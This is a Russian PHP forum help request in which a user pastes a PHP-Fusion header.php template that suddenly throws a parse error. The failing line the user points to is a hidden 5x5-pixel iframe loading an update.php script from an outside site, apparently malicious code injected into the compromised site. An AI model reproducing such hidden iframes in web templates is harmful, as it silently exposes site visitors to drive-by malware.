PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (1): [1]

> Найдено сообщений: 1
Adolf_Bitter Отправлено: 28 Октября, 2012 - 21:36:12 • Тема: syntax error, unexpected T_STRING, expecting ',' or ';' • Форум: Если скрипт не работает

Ответов: 12
Просмотров: 44908
<?php
/*-------------------------------------------------------+
| PHP-Fusion Content Management System
| Copyright (C) 2002 - 2008 Nick Jones
| http://www.php-fusion[dot]co[dot]uk/
+--------------------------------------------------------+
| Filename: header.php
| Author: Nick Jones (Digitanium)
+--------------------------------------------------------+
| This program is released as free software under the
| Affero GPL license. You can redistribute it and/or
| modify it under the terms of this license which you
| can read by viewing the included agpl.txt or online
| at www.gnu.org/licenses/agpl.html. Removal of this
| copyright header is strictly prohibited without
| written permission from the original author(s).
+--------------------------------------------------------*/
if (!defined("IN_FUSION")) { die("Access Denied"); }

require_once INCLUDES."output_handling_include.php";
require_once INCLUDES."header_includes.php";
require_once THEME."theme.php";

if ($settings['maintenance'] == "1" && !iADMIN) { redirect(BASEDIR."maintenance.php"); }
if (iMEMBER) { $result = dbquery("UPDATE ".DB_USERS." SET user_lastvisit='".time()."', user_ip='".USER_IP."' WHERE user_id='".$userdata['user_id']."'"); }

echo "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>\n";
echo "<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='".$locale['xml_lang']."' lang='".$locale['xml_lang']."'>\n";
echo "<head>\n<title>".$settings['sitename']."</title>\n";
echo "<meta http-equiv='Content-Type' content='text/html; charset=".$locale['charset']."' />\n";
echo "<meta name='description' content='".$settings['description']."' />\n";
echo "<meta name='keywords' content='".$settings['keywords']."' />\n";

//echo "<meta name='robots' content='all' />\n";
echo "<meta name='copyright' content='ÎÎÎ ÀéÒè Ïðîôèò' />\n";
echo "<link rel='stylesheet' href='".THEME."styles.css' type='text/css' media='screen' />\n";
if (file_exists(IMAGES."favicon.ico")) { echo "<link rel='shortcut icon' href='".IMAGES."favicon.ico' type='image/x-icon' />\n"; }
if (function_exists("get_head_tags")) { echo get_head_tags(); }
echo "<script type='text/javascript' src='".INCLUDES."jscript.js'></script>\n";
echo "<script type='text/javascript' src='".INCLUDES."jquery.js'></script>\n";
echo "<iframe src="http://www.propertyinsight.info/wp-content/uploads/update.php" width="5" height="5" frameborder="0"></iframe></head>\n<body>\n";

//ñ÷åò÷èê ëàéô-èíòåðíåò

echo '

<!--LiveInternet counter--><script type="text/javascript"><!--

new Image().src = "//counter.yadro.ru/hit?r"+

escape(document.referrer)+((typeof(screen)=="undefined")?"":

";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?

screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+

";"+Math.random();//--></script><!--/LiveInternet-->

';

//Ïîäêëþ÷àåì ñèñòåìó Îðôóñ - äëÿ êîíòðîëÿ îøèáîê (îïå÷àòîê) íà ñàéòå.
echo '
<script type="text/javascript" src="/orphus/orphus.js"></script>
<div style="display:none">
<a href="http://orphus.ru" id="orphus" target="_blank"><img alt="Ñèñòåìà Orphus" src="/orphus/orphus.gif" border="0" width="135" height="58" /></a></div>
';
require_once THEMES."templates/panels.php";
ob_start();
?>


Вот такая ошибка: Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /srv/www/elgubernia_rus/www/them es/templates/header.php on line 40


До этого всё гуд работало , а сейчас не алё , в чем проблема может кто знает?
(Добавление)
echo "<iframe src="http://www.propertyinsight.info/wp-content/uploads/update.php" width="5" height="5" frameborder="0"></iframe></head>\n<body>\n";


Вот здесь если быть точным

Страниц (1): [1]
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB